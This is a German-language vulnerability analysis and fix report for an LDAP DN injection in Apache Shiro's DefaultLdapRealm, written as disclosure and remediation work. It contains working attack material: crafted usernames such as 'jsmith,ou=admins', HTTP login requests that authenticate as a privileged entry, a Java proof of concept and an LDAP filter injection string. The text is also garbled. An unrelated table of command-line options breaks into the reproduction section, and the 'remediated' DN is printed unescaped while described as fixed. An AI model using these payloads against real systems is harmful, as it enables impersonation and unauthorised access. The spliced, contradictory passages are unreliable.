
CVE-2026-49268 — Analyse und Behebung einer LDAP-Injection-Authentifizierungsumgehungs-Schwachstelle
| Branch | 1.13-CVE-2026-49268 |
| Autor | Jinwoo Hwang (https://JinwooHwang.com) |
Dieser Branch (1.13-CVE-2026-49268) enthält eine umfassende Sicherheitsbehebung einer LDAP-Injection-Authentifizierungsumgehung in der Apache Shiro 1.13-Version.
Offizielle NVD-Beschreibung
Ein entfernter Angreifer kann LDAP-Sonderzeichen in die Konstruktion des Distinguished Name (DN) in der Klasse DefaultLdapRealm einschleusen. Vom Benutzer bereitgestellte Benutzernamen-Eingaben werden direkt in die LDAP-DN- Vorlage eingefügt, ohne dass RFC 2253-Sonderzeichen maskiert werden. Dies ermöglicht es einem Angreifer, die DN-Struktur zu manipulieren, die für die LDAP-Bind-Authentifizierung verwendet wird, wodurch möglicherweise die Authentifizierung umgangen oder die Identität anderer Benutzer angenommen werden kann. Dieses Problem betrifft alle Apache Shiro-Versionen bis 2.2.0 und 3.0.0-alpha-1, wenn DefaultLdapRealm verwendet wird.
Apache Shiro kann Benutzer gegenüber einem LDAP-Verzeichnis authentifizieren. Dazu wandelt es einen
übermittelten Benutzernamen in einen Distinguished Name um — die Adresse des Verzeichnisses für den Eintrag
dieses Benutzers —, indem der Benutzername in eine konfigurierte Vorlage eingesetzt wird, zum Beispiel
uid={0},ou=users,dc=mycompany,dc=com.
In den betroffenen Versionen wird der Benutzername als reiner Text in diese Vorlage eingefügt. Eine Handvoll Satzzeichen — allen voran das Komma — sind für einen Verzeichnisserver keine gewöhnlichen Textzeichen; sie sind die Syntax, die einen Teil einer Adresse vom nächsten trennt. Ein Benutzername, der diese Zeichen enthält, verhält sich daher nicht mehr wie ein Wert innerhalb der Adresse, sondern beginnt, sich wie ein Teil der Adresse selbst zu verhalten.
Die praktische Konsequenz ist, dass eine sich anmeldende Person beeinflussen kann, gegen welchen Verzeichniseintrag Shiro zu authentifizieren versucht, anstatt nur ihren eigenen Namen anzugeben. Statt in dem Container nachgeschlagen zu werden, den die Bereitstellung vorgesehen hat, kann die Suche an eine andere Stelle im Verzeichnis umgeleitet werden. Je nachdem, wie das Verzeichnis aufgebaut ist und was es zulässt, kann dies dazu führen, dass man sich als die falsche Identität authentifiziert oder dass die Authentifizierung erfolgreich ist, obwohl sie es nicht sein sollte.
Risikoprofil. Was das Risiko erhöht: Es sind keine vorherigen Zugriffsrechte oder Anmeldedaten erforderlich — die
Eingabe erreicht die Anmeldegrenze, die für jeden erreichbar ist, der die
Anwendung erreichen kann; und die betroffene Klasse ist die standardmäßige, dokumentierte Art, Shiro mit LDAP zu verbinden,
sodass dies keine exotische Konfiguration ist. Was es verringert: Die Bereitstellung muss tatsächlich
DefaultLdapRealm (oder JndiLdapRealm) mit einer konfigurierten DN-Vorlage verwenden; Bereitstellungen, die
sich auf andere Weise authentifizieren oder die einen vollständigen DN oder eine nicht-textuelle Anmeldeinformation wie ein
Zertifikat übergeben, sind nicht betroffen. Ob eine umgeleitete Suche eine nutzbare Authentifizierung ergibt,
hängt auch vom eigenen Aufbau und den Zugriffsregeln des Zielverzeichnisses ab, die von Standort zu Standort variieren.
Eine zweite, nicht sicherheitsrelevante Konsequenz ist für die Release-Planung erwähnenswert: Benutzer, deren
legitime Benutzernamen einen Backslash enthalten oder mit # beginnen, können sich derzeit überhaupt nicht anmelden,
weil die für sie erstellte Adresse kein wohlgeformter Name ist und
rundheraus abgelehnt wird. Andere Satzzeichen führen nicht zu einem direkten Fehlschlag — sie ändern stillschweigend, auf welchen Eintrag die
Adresse verweist, was das obige Sicherheitsproblem ist. Dieselbe Korrektur behebt beides.
core/src/main/java/org/apache/shiro/realm/ldap/DefaultLdapRealm.java, getUserDn(String),
Zeilen 227–250 auf der ungepatchten Basisversion:```java
protected String getUserDn(String principal) throws IllegalArgumentException, IllegalStateException {
if (!StringUtils.hasText(principal)) {
throw new IllegalArgumentException("User principal cannot be null or empty for User DN construction.");
}
String prefix = getUserDnPrefix();
String suffix = getUserDnSuffix();
if (prefix == null && suffix == null) {
log.debug("userDnTemplate property has not been configured, indicating the submitted "
+ "AuthenticationToken's principal is the same as the User DN. Returning the method argument "
+ "as is.");
return principal;
}
int prefixLength = prefix != null ? prefix.length() : 0;
int suffixLength = suffix != null ? suffix.length() : 0;
StringBuilder sb = new StringBuilder(prefixLength + principal.length() + suffixLength);
if (prefixLength > 0) {
sb.append(prefix);
}
sb.append(principal); // <-- inserted verbatim
if (suffixLength > 0) {
sb.append(suffix);
}
return sb.toString();
}
Das Template wird zur Konfigurationszeit einmal um das `{0}`-Token herum aufgeteilt
(`setUserDnTemplate`, Zeilen 181–200), in ein `prefix` und ein `suffix`. Zum Authentifizierungszeitpunkt
wird der Principal dazwischen konkateniert. **Zu keinem Zeitpunkt wird eine Kodierung angewendet.** Es gibt
keinen Escaping-Helfer irgendwo in `org/apache/shiro/realm/ldap/`.
### 3.2 Die Invariante, die angenommen, aber nie durchgesetzt wurde
Der umgebende Code behandelt das Ergebnis von `getUserDn` als wohlgeformten Distinguished Name —
er wird direkt an `LdapContextFactory.getLdapContext(...)` und von dort an JNDI als
Bind-DN übergeben. Das ist nur dann korrekt, wenn der substituierte Principal ein *einzelner Attributwert* ist.
String-Konkatenation kann das nicht durchsetzen. RFC 2253 (und RFC 4514) reservieren
`,` `+` `"` `\` `<` `>` `;` `=`, ein führendes `#` sowie führenden/nachfolgenden Leerraum als strukturelle
Syntax innerhalb eines DN. Wenn eines davon im Principal auftritt, wird es vom Parser als
Struktur gelesen, nicht als Inhalt. Die Invariante — *„der Principal belegt genau einen RDN-Wert"* —
wurde von jedem nachgelagerten Konsumenten angenommen und von keinem durchgesetzt.
### 3.3 Ausführungsfluss, Einstiegspunkt bis zum Defekt```
submitted credentials (username, password)
│
▼
DefaultLdapRealm.doGetAuthenticationInfo(AuthenticationToken) [line 292]
│
▼
DefaultLdapRealm.getLdapPrincipal(AuthenticationToken) [line 338]
│ principal instanceof String ?
│ ├── no ──► return principal unchanged ── NOT AFFECTED (e.g. X.509)
│ └── yes ──┐
▼ │
DefaultLdapRealm.getUserDn(String) [line 227]
│ prefix == null && suffix == null ?
│ ├── yes ──► return principal unchanged ── NOT AFFECTED ("principal IS the DN")
│ └── no ──┐
▼ │
prefix + principal + suffix ◄── DEFECT: unencoded concatenation [line 246]
│
▼
LdapContextFactory.getLdapContext(userDn, credentials)
│
▼
JNDI bind against the directory using the constructed DN
Template uid={0},ou=users,dc=mycompany,dc=com, Principal jsmith,ou=admins:
| Konstruierter DN | Geparste RDNs | |
|---|---|---|
| Beabsichtigt | uid=jsmith\,ou\=admins,ou=users,dc=mycompany,dc=com | 4 |
| Baseline (ungefixt) | uid=jsmith,ou=admins,ou=users,dc=mycompany,dc=com | 5 |
Der Name erhält eine zusätzliche Komponente. ou=users ist nicht mehr der adressierte
Container — ou=admins wird dazwischengeschoben. Verifiziert durch Parsen mit
javax.naming.ldap.LdapName, das unabhängig von jeder Escaping-Implementierung ist.
Gemessenes Verhalten der Baseline über die reservierte Menge (JDK 8, LdapName-Parse):
Zwei Zeichen verändern die Struktur des Namens, nicht nur seinen Inhalt: das Komma und
das Semikolon — welches RFC 1779 als alternativen RDN-Trenner akzeptiert. + führt einen
zweiten Attributwert in denselben RDN ein. Nur \ und ein führendes # machen den Namen
unparsebar.
userDnTemplate nicht gesetzt. getUserDn gibt den Principal unverändert zurück. Dies ist
der dokumentierte Modus „der übermittelte Principal ist der DN"; der Aufrufer liefert einen
vollständigen DN und ist für dessen Korrektheit verantwortlich. Nicht betroffen.String-Principals. getLdapPrincipal leitet nur String-Principals in
getUserDn; alles andere (X.509-Zertifikate, benutzerdefinierte Tokens) wird durchgereicht. Nicht betroffen.setUserDnTemplate-Validierung (Zeilen 181–200) lehnt korrekt ein null-, leeres oder
{0}-loses Template ab. Sie validiert das vom Betreiber bereitgestellte Template, welches
nie die nicht vertrauenswürdige Eingabe war — es ist also korrekter Code, der diesen Defekt
schlicht nicht adressiert.JndiLdapRealm erweitert DefaultLdapRealm und überschreibt getUserDn nicht, erbt
also den Defekt. Bestätigt durch Test (§6.1). Im Geltungsbereich, und durch dieselbe Änderung behoben.AbstractLdapRealm.searchFilter (Zeile 89) enthält eine zweite {0}-Substitution, standardmäßig
(&(objectClass=*)(userPrincipalName={0})), verwendet auf dem Autorisierungs-Pfad. Er ist nicht betroffen.
Ein Durchlauf über jeden search(-Aufruf, jeden getLdapContext(-Aufrufer und jedes LDAP-förmige
String-Literal über die Hauptquellen von core, support und web fand genau eine Verwendung von
searchFilter — ActiveDirectoryRealm.getRoleNamesForUser, Zeile 172:```java
Object[] searchArguments = new Object[]{userPrincipalName};
NamingEnumeration answer = ldapContext.search(searchBase, searchFilter, searchArguments, searchCtls);
Dies ist die **parametrisierte** `DirContext.search(String, String, Object[], SearchControls)`-
Überladung. Der Benutzername wird als Filter-*Argument* übergeben, niemals in die Filter-
Zeichenkette konkateniert. Gemäß dem JDK 8 `javax.naming.directory.DirContext`-Javadoc, wörtlich:
> "Wenn ein zeichenkettenwertiges Filterargument für eine Variable eingesetzt wird, wird der Filter
> so interpretiert, als wäre die Zeichenkette anstelle der Variable angegeben worden, wobei alle
> Zeichen, die innerhalb von Filtern eine besondere Bedeutung haben (wie `'*'`), gemäß
> den Regeln von RFC 2254 maskiert wurden."
Der JNDI-Provider führt die Maskierung durch. Der historische Beleg hierfür findet sich in der
Felddeklaration selbst.
**Quelle: `core/src/main/java/org/apache/shiro/realm/ldap/AbstractLdapRealm.java`, Zeilen 88–89**```java
//SHIRO-115 - prevent potential code injection:
protected String searchFilter = "(&(objectClass=*)(userPrincipalName={0}))";
Quelle: core/src/main/java/org/apache/shiro/realm/activedirectory/ActiveDirectoryRealm.java, Zeilen 158–172```java
protected Set getRoleNamesForUser(String username, LdapContext ldapContext) throws NamingException {
Set roleNames;
roleNames = new LinkedHashSet();
SearchControls searchCtls = new SearchControls();
searchCtls.setSearchScope(SearchControls.SUBTREE_SCOPE);
String userPrincipalName = username;
if (principalSuffix != null && !userPrincipalName.toLowerCase(Locale.ROOT).endsWith(principalSuffix.toLowerCase(Locale.ROOT))) {
userPrincipalName += principalSuffix;
}
Object[] searchArguments = new Object[]{userPrincipalName};
NamingEnumeration answer = ldapContext.search(searchBase, searchFilter, searchArguments, searchCtls);
Der Benutzername erreicht das Verzeichnis als `searchArguments[0]`, niemals als Text, der in
`searchFilter` eingefügt wird. Das `{0}`-Token im Filter wird vom JNDI-Provider aufgelöst, nicht von
Shiro.
`ActiveDirectoryRealm` Zeile 108 übergibt den rohen Benutzernamen an
`getLdapContext(username, password)`. Dieser Wert wird zu einem einzelnen JNDI-
`SECURITY_PRINCIPAL`-Umgebungseintrag; er wird nicht in eine Vorlage eingesetzt und es wird kein DN
daraus konstruiert, sodass er außerhalb des Mechanismus dieses Defekts liegt.
**Empirisch gegen einen Live-Verzeichnisserver verifiziert.** Das JNDI-Escaping wurde nicht
auf Vertrauen hin angenommen: es wurde auf der Leitung beobachtet. Ein In-Process-LDAP-Server
(UnboundID `InMemoryDirectoryServer`) wurde mit einem
`InMemoryOperationInterceptor` instrumentiert, der den Filter jeder empfangenen Suchanfrage aufzeichnet,
und Shiros Standard-`searchFilter` wurde über denselben parametrisierten JNDI-Aufruf ausgegeben, der
von `ActiveDirectoryRealm` verwendet wird, mit einem präparierten Argument:```
filter template : (&(objectClass=*)(userPrincipalName={0}))
argument passed : *)(uid=jsmith
server received : (&(objectClass=*)(userPrincipalName=\2a\29\28uid=jsmith))
Das *, ) und ( erreichten den Server als \2a, \29 und \28 — gemäß RFC 2254 escaped. Der Filter behält genau zwei Klauseln bei; das Argument konnte keine dritte hinzufügen.
Zur Kontrolle: dasselbe Template, wobei das Argument als Rohtext eingefügt wird, anstatt als Filterargument übergeben zu werden:``` CONTROL, raw splice: (&(objectClass=)(userPrincipalName=)(uid=jsmith)) server received : (&(objectClass=)(userPrincipalName=)(uid=jsmith))
Die Kontrolle erreicht den Server mit veränderter Struktur — eine dritte Klausel hinzugefügt und der `userPrincipalName`-Test auf einen Wildcard reduziert. Die parametrisierte Form nicht. Dies bestätigt, durch Beobachtung statt durch Vertrag, dass der `searchFilter`-Pfad nicht betroffen ist.
---
## 4. Schritt-für-Schritt-Reproduktionsschritte
Deterministisch, aus einem sauberen Checkout. Das Arbeitsverzeichnis ist durchgehend das Repository-Stammverzeichnis.
### 4.1 Voraussetzungen
| Anforderung | Verwendeter Wert |
|---|---|
| JDK | **8** — der Branch setzt `jdk.version` 1.8. Die untenstehenden Ergebnisse wurden mit Zulu 1.8.0_432 (arm64) erzeugt. Richten Sie `JAVA_HOME` auf eine JDK-8-Installation, bevor Sie einen Befehl in diesem Abschnitt ausführen: |
| Build | Apache Maven, Netzwerkzugriff erforderlich (Parent-POM `org.apache:apache:38`) |
| Baseline | `origin/1.13.x` |
| Konfiguration | `userDnTemplate = uid={0},ou=users,dc=mycompany,dc=com` |
| Verzeichnisserver | **Nicht erforderlich für §4.3-§4.4** — der Defekt liegt in der DN-Konstruktion, vor jedem Netzwerkaufruf, daher mocken diese Schritte `LdapContextFactory`. §4.5 reproduziert zusätzlich den gesamten Pfad gegen einen **echten** LDAP-Server über HTTP. |
`JAVA_HOME` auf eine JDK-8-Installation setzen:```bash
# macOS
export JAVA_HOME=$(/usr/libexec/java_home -v 1.8)
# Linux (path varies by distribution and vendor)
export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
# Windows (cmd)
set JAVA_HOME=C:\Program Files\Zulu\zulu-8
Mit mvn -v bestätigen, was den JDK meldet, den Maven verwenden wird. Die folgenden Befehle gehen davon aus, dass dies
bereits festgelegt ist.
git clone https://github.com/apache/shiro.git cd shiro git checkout -b repro origin/1.13.x
### 4.3 Den Defekt direkt beobachten
Dies ist der minimale Auslöser, unabhängig von Shiros Build. Schreiben Sie `Repro.java` in ein
Scratch-Verzeichnis:```java
import javax.naming.ldap.LdapName;
public class Repro {
// reproduces DefaultLdapRealm.getUserDn line-for-line
static String getUserDn(String prefix, String principal, String suffix) {
StringBuilder sb = new StringBuilder(prefix.length() + principal.length() + suffix.length());
sb.append(prefix);
sb.append(principal);
sb.append(suffix);
return sb.toString();
}
public static void main(String[] args) throws Exception {
String prefix = "uid=";
String suffix = ",ou=users,dc=mycompany,dc=com";
String benign = getUserDn(prefix, "jsmith", suffix);
System.out.println("benign : " + benign + " -> RDNs=" + new LdapName(benign).size());
String crafted = getUserDn(prefix, "jsmith,ou=admins", suffix);
System.out.println("crafted: " + crafted + " -> RDNs=" + new LdapName(crafted).size());
}
}
Führen Sie es aus:```bash javac Repro.java && java Repro
Beobachtete Ausgabe:```
benign : uid=jsmith,ou=users,dc=mycompany,dc=com -> RDNs=4
crafted: uid=jsmith,ou=admins,ou=users,dc=mycompany,dc=com -> RDNs=5
Die Komponentenanzahl ändert sich von 4 auf 5. Der übermittelte Wert ist zu einer Namensstruktur geworden.
Wenden Sie vom Repository-Stammverzeichnis auf der ungepatchten Baseline die Tests aus §6.3 an und führen Sie aus:```bash mvn -B clean verify
Der Build stoppt bei `Apache Shiro :: Core`, wobei die beweisenden Tests fehlschlagen — siehe §6.1 für die
vollständige aufgezeichnete Ausgabe:```
DefaultLdapRealmTest Tests run: 16, Failures: 4, Errors: 0, Skipped: 0
JndiLdapRealmTest Tests run: 16, Failures: 4, Errors: 0, Skipped: 0
Reproduziert über den gesamten Stack — eine echte HTTP-Anfrage, ein echter Servlet-Container,
Shiros eigener FormAuthenticationFilter und ein echter LDAP-Server. Auf keiner
Ebene wird etwas gemockt.
Verzeichnis-Fixture — ein verschachtelter privilegierter Container, ein gängiges reales Layout:``` dc=mycompany,dc=com └── ou=users ├── uid=jsmith userPassword: userpass (ordinary account) └── ou=admins └── uid=jsmith userPassword: adminpass (privileged account)
#### 4.5.1 Betroffener Build
**Anfrage**```http
POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
username=jsmith%2Cou%3Dadmins&password=adminpass
Antwort```http HTTP/1.1 302 Found Location: http://127.0.0.1/;jsessionid=node0qu3v2n612vy71alsuyir2bgzz1.node0
**Bind-DN, den das Verzeichnis empfangen hat**```
uid=jsmith,ou=admins,ou=users,dc=mycompany,dc=com
Die 302 ist der Erfolgs-Redirect des FormAuthenticationFilter: Die Anfrage wurde authentifiziert.
Der DN trägt fünf Komponenten, wo das Template vier definiert, und der erreichte Eintrag ist
der privilegierte unter ou=admins.
Kontrolle — derselbe Benutzername mit dem Passwort des gewöhnlichen Kontos```http POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded
username=jsmith%2Cou%3Dadmins&password=userpass
| `--no-ssl` | Deaktiviert die SSL-Überprüfung |
| `--no-redirect` | Deaktiviert die Weiterleitung |
| `--timeout` | Timeout in Sekunden |
| `--retries` | Anzahl der Wiederholungsversuche |
| `--proxy` | Proxy-URL |
| `--user-agent` | Benutzerdefinierter User-Agent |
| `--headers` | Benutzerdefinierte Header |
| `--cookies` | Benutzerdefinierte Cookies |
| `--data` | POST-Daten |
| `--json` | JSON-Daten |
| `--form` | Formulardaten |
| `--output` | Ausgabedatei |
| `--verbose` | Ausführliche Ausgabe |
| `--silent` | Stille Ausgabe |
| `--debug` | Debug-Ausgabe |
| `--version` | Versionsinformationen |
| `--help` | Hilfeinformationen |```http
HTTP/1.1 200 OK
Abgelehnt. Dies ist es, was eine Identitätsanmaßung statt eines Zufalls belegt: Der konstruierte Benutzername authentifiziert sich mit dem Passwort des privilegierten Kontos und schlägt mit dem des gewöhnlichen Benutzers fehl, sodass die geprüften Anmeldedaten zu einem anderen Verzeichniseintrag gehören als dem, den die Vorlage adressiert.
Vom Verzeichnis empfangener Bind-DN für den konstruierten Benutzernamen:``` affected : uid=jsmith,ou=admins,ou=users,dc=mycompany,dc=com (5 components) remediated : uid=jsmith,ou=admins,ou=users,dc=mycompany,dc=com (4 components)
Normale Anmeldungen bleiben unverändert — Zeile 1 authentifiziert sich auf beiden Builds identisch, wobei das
Verzeichnis `uid=jsmith,ou=users,dc=mycompany,dc=com` erhält.
Beide Läufe verwendeten dieselbe Testumgebung und dasselbe Fixture; nur `shiro-core` im Classpath
unterschied sich. Die tatsächlich geladene Klasse wurde mit `-verbose:class` für jeden Lauf bestätigt.
---
## 5. Details zur Behebung & Behebungscode
### 5.1 Primäre Korrektur
Kodiere den Principal als einzelnen DN-Attributwert vor der Substitution, unter Verwendung des
JDK-eigenen RFC 2253-Encoders, `javax.naming.ldap.Rdn.escapeValue`. Dies ist derselbe Mechanismus, den
das JDK verwendet, um Namen zu erstellen, sodass seine Ausgabe konstruktionsbedingt mit dem Parser konsistent ist, der sie verarbeitet.
**Datei:** `core/src/main/java/org/apache/shiro/realm/ldap/DefaultLdapRealm.java````diff
@@ -35,6 +35,7 @@ import org.slf4j.LoggerFactory;
import javax.naming.AuthenticationNotSupportedException;
import javax.naming.NamingException;
import javax.naming.ldap.LdapContext;
+import javax.naming.ldap.Rdn;
/**
* An LDAP {@link org.apache.shiro.realm.Realm Realm} implementation utilizing Sun's/Oracle's
@@ -239,11 +240,14 @@ public class DefaultLdapRealm extends AuthorizingRealm {
int prefixLength = prefix != null ? prefix.length() : 0;
int suffixLength = suffix != null ? suffix.length() : 0;
- StringBuilder sb = new StringBuilder(prefixLength + principal.length() + suffixLength);
+ //the principal is a single attribute value within the resulting name, so it is encoded
+ //to keep any characters that are significant in a Distinguished Name within that value:
+ String value = Rdn.escapeValue(principal);
+ StringBuilder sb = new StringBuilder(prefixLength + value.length() + suffixLength);
if (prefixLength > 0) {
sb.append(prefix);
}
- sb.append(principal);
+ sb.append(value);
if (suffixLength > 0) {
sb.append(suffix);
}
Was der Hunk erzwingt. Rdn.escapeValue maskiert mit Backslash die in RFC 2253 reservierte Menge
(\ , = + < > # ; ") sowie führenden und nachfolgenden Whitespace. Danach kann der ersetzte Text
nur noch einen einzigen RDN-Wert belegen: Der Parser liest die maskierten Zeichen als Inhalt, sodass
die Komponentenanzahl des Ergebnisses durch das Template festgelegt ist und nicht vom
Principal beeinflusst werden kann. Der Kapazitätshinweis des StringBuilder wird auf die kodierte Länge aktualisiert — ein Größen-
detail, kein verhaltensrelevantes.
Platzierung. Die Kodierung sitzt nach dem frühen Return für den Fall des nicht konfigurierten Templates. Das ist beabsichtigt: In diesem Modus liefert der Aufrufer einen vollständigen DN, und dessen Kodierung würde ihn beschädigen. Beide Zweige behalten ihre bestehenden Verträge.
Dieser Fix ändert den DN-String, der für jeden Principal erzeugt wird, der ein reserviertes Zeichen enthält. Drei Konsequenzen, die klar benannt werden sollten:
# beginnen, erzeugten einen DN, der kein wohlgeformter Name war, sodass überhaupt kein Bind versucht werden konnte.
Sie werden jetzt zu einem gültigen DN kodiert und es wird ein Bind versucht. Sites können sehen, dass sich Konten
authentifizieren, die dies zuvor nicht konnten — ein Fix, aber eine sichtbare Änderung. Benutzernamen,
die ,, ;, + oder = enthalten, wurden zuvor nicht abgelehnt; sie wurden zum falschen
Eintrag aufgelöst und werden jetzt zum beabsichtigten aufgelöst.uid=jsmith\,ou\=admins,...). Es ist keine Konfigurationsänderung erforderlich.getUserDnTemplate() ist als getUserDn("{0}") implementiert. { und } sind in
RFC 2253 nicht reserviert, sodass der Rückgabewert des Accessors unverändert bleibt. Bestätigt durch den bereits vorhandenen
testUserDnTemplate, der unverändert besteht.
Branch 1.13-CVE-2026-49268, JDK Zulu 1.8.0_432. Befehl wie in §4.4.```
DefaultLdapRealmTest Tests run: 16, Failures: 4, Errors: 0, Skipped: 0
JndiLdapRealmTest Tests run: 16, Failures: 4, Errors: 0, Skipped: 0
Erfasste Fehlerausgabe — dies ist der Beweis, und er ist nicht wiederherstellbar, sobald die Korrektur vorgenommen wurde:```
testGetUserDnPreservesTemplateStructure:238
User DN gained or lost components relative to the template:
uid=jsmith,ou=admins,ou=users,dc=mycompany,dc=com
expected:<4> but was:<5>
testGetUserDnPreservesTemplateStructureForReservedCharacters:262
Component count changed for principal [jsmith,ou=admins]:
uid=jsmith,ou=admins,ou=users,dc=mycompany,dc=com
expected:<4> but was:<5>
testGetUserDnEncodesSubstitutedValue:280
expected:<uid=jsmith[\,ou\]=admins,ou=users,dc=...>
but was:<uid=jsmith[,ou]=admins,ou=users,dc=...>
testUserDnTemplateSubstitutionPreservesStructure:300
Unexpected method call
LdapContextFactory.getLdapContext("uid=jsmith,ou=admins,ou=users,dc=mycompany,dc=com", ...)
expected:
LdapContextFactory.getLdapContext("uid=jsmith\,ou\=admins,ou=users,dc=mycompany,dc=com", ...)
expected: 1, actual: 0
testGetUserDnLeavesOrdinaryPrincipalUnchanged hat auf der Baseline bestanden, wie beabsichtigt — es
ist eine Absicherung gegen Überkorrektur, kein beweisender Test.
Gleicher Befehl, gleiches JDK:``` DefaultLdapRealmTest Tests run: 16, Failures: 0, Errors: 0, Skipped: 0 JndiLdapRealmTest Tests run: 16, Failures: 0, Errors: 0, Skipped: 0
Alle vier Beweistests bestehen nun auf beiden Klassen. Ein erneutes Ausführen von §4.3 mit dem Fix liefert `RDNs=4` für den präparierten Principal.
### 6.3 Hinzugefügte Tests
**Datei:** `core/src/test/java/org/apache/shiro/realm/ldap/DefaultLdapRealmTest.java`
(+124 Zeilen, 0 Löschungen). Da `JndiLdapRealmTest extends DefaultLdapRealmTest`, wird jeder
untenstehende Test gegen **beide** Realms ausgeführt — 10 Ausführungen aus 5 Methoden.
| Test | Prüft | Baseline |
|---|---|---|
| `testGetUserDnLeavesOrdinaryPrincipalUnchanged` | Ein gewöhnlicher Principal liefert den exakt erwarteten DN, 4 RDNs, Wert intakt. Schützt vor übermäßigem Escaping. | **bestanden** (Guard) |
| `testGetUserDnPreservesTemplateStructure` | Für `jsmith,ou=admins` hat der DN weiterhin 4 Komponenten und der Principal überlebt als ein Attributwert. | fehlgeschlagen |
| `testGetUserDnPreservesTemplateStructureForReservedCharacters` | Dasselbe, über alle 10 Principals mit reservierten Zeichen; lässt den Test ebenfalls fehlschlagen, wenn der DN kein wohlgeformter Name ist. | fehlgeschlagen |
| `testGetUserDnEncodesSubstitutedValue` | Der substituierte Wert wird so kodiert, dass er zum eingereichten Principal zurückgeführt wird. | fehlgeschlagen |
| `testUserDnTemplateSubstitutionPreservesStructure` | End-to-End durch `getAuthenticationInfo`: Der an `LdapContextFactory` übergebene DN behält die Struktur der Vorlage bei. | fehlgeschlagen |
**Design-Hinweis.** Die strukturellen Assertions parsen das Ergebnis mit `javax.naming.ldap.LdapName`
und vergleichen Komponentenanzahl und den zurückgeführten Blattwert, anstatt einen
erwarteten escaped String zu prüfen. Die Tests verifizieren daher die tatsächlich erforderliche
Eigenschaft und setzen `Rdn.escapeValue` nicht als Implementierung voraus — ein alternativer
korrekter Encoder würde ebenfalls bestehen.
Befehl:```bash
mvn -B clean verify
Der vollständige Reactor-Build läuft mit keinen Flags und keinen Überspringungen durch:``` mvn -B clean verify
**BUILD SUCCESS — 907 Tests, 0 Fehler, 0 Errors, 3 übersprungen, über den gesamten Reactor.**
Jedes Gate ist in diesem Lauf aktiv: Unit-Tests (surefire), Integrationstests (failsafe),
das Apache-RAT-Lizenzaudit, maven-enforcer und japicmp.
| Gate | Ergebnis |
|---|---|
| Unit-Tests, gesamter Reactor | **907 ausgeführt, 0 Fehler, 0 Errors, 3 übersprungen** |
| nur `core`-Modul | **321 ausgeführt, 0 Fehler, 0 Errors, 0 übersprungen** |
| LDAP-Tests (`DefaultLdapRealmTest` + `JndiLdapRealmTest`) | **32 ausgeführt, 0 Fehler** |
| Integrationstests (failsafe) | über den Reactor ausgeführt, keine Fehler |
| Apache-RAT-Lizenzaudit | Nicht genehmigt: 0, unbekannt: 0 |
| maven-enforcer | keine Verstöße |
| japicmp | keine Inkompatibilität gemeldet |
Die 3 Übersprungenen sind bereits vorhandene `@Ignore`s in Modulen, die nichts mit dieser Änderung zu tun haben; `core` — das
einzige berührte Modul — überspringt nichts.
## Referenzen
- CVE-Eintrag (MITRE API): `https://cveawg.mitre.org/api/cve/CVE-2026-49268`
- Upstream-Ankündigung: `https://lists.apache.org/thread/svszql3od8td7hn6conyj2oq70v53b5s`
- Apache Shiro Sicherheitsberichte: `https://shiro.apache.org/security-reports.html`
- RFC 2253 / RFC 4514 — LDAP-String-Repräsentation von Distinguished Names
- RFC 4515 — LDAP-Suchfilter-String-Repräsentation
## Kontakt
Autor für Sicherheitslücken-Forschung und -Behebung: Jinwoo Hwang ([https://JinwooHwang.com](https://jinwoohwang.com/))
| Feld | Wert |
|---|
| CVE | CVE-2026-49268 — Apache Shiro: LDAP-DN-Injection in DefaultLdapRealm |
| CWE-ID | CWE-90 — Unsachgemäße Neutralisierung von Sonderelementen in einer LDAP-Abfrage ('LDAP-Injection') |
| CVSS v4.0 | 8.8 HOCH — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/S:P/AU:Y/R:A/RE:L/U:Red |
| CVSS v3.1 | 9.1 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Betroffene Versionen | org.apache.shiro:shiro-core 0 bis einschließlich 2.2.0; 3.0.0-alpha-0 bis einschließlich 3.0.0-alpha-1 |
| Upstream behoben in | 2.2.1 und 3.0.0-alpha-2 |
| Referenz | https://lists.apache.org/thread/svszql3od8td7hn6conyj2oq70v53b5s |
| Principal | Baseline-Ergebnis | Wirkung |
|---|
jsmith,ou=admins | parst, 5 RDNs | Struktur verändert — ein Container wird dazwischengeschoben |
jsmith;ou=admins | parst, 5 RDNs | Struktur verändert — ; ist ein RDN-Trenner gemäß RFC 1779 |
jsmith+uid=admin | parst, 4 RDNs | wird zu einem mehrwertigen RDN; uid erhält einen zweiten Wert |
jsmith=admin | parst, 4 RDNs | Wert korrumpiert |
quo"te, angle<br>ackets, leadingSpace, trailingSpace | parsen, 4 RDNs | Wert korrumpiert |
back\slash | IllegalArgumentException | fehlerhaft — Bind kann nicht versucht werden |
#leadingNumberSign | IllegalArgumentException | fehlerhaft — Bind kann nicht versucht werden |
| Ebene | Komponente |
|---|
| HTTP-Client | HttpURLConnection, roher Formular-POST |
| Servlet-Container | Embedded Jetty 9.4.58.v20250814 |
| Sicherheitsfilter | ShiroFilter + EnvironmentLoaderListener, authc (FormAuthenticationFilter) |
| Realm | DefaultLdapRealm, userDnTemplate = uid={0},ou=users,dc=mycompany,dc=com |
| Verzeichnis | UnboundID InMemoryDirectoryServer, instrumentiert zur Aufzeichnung jedes Bind-DN |
| Anfrage | Betroffen | Behoben |
|---|
username=jsmith&password=userpass | 302 authentifiziert | 302 authentifiziert |
username=jsmith%2Cou%3Dadmins&password=adminpass | 302 authentifiziert | 200 abgelehnt |
username=jsmith%2Cou%3Dadmins&password=userpass | 200 abgelehnt | 200 abgelehnt |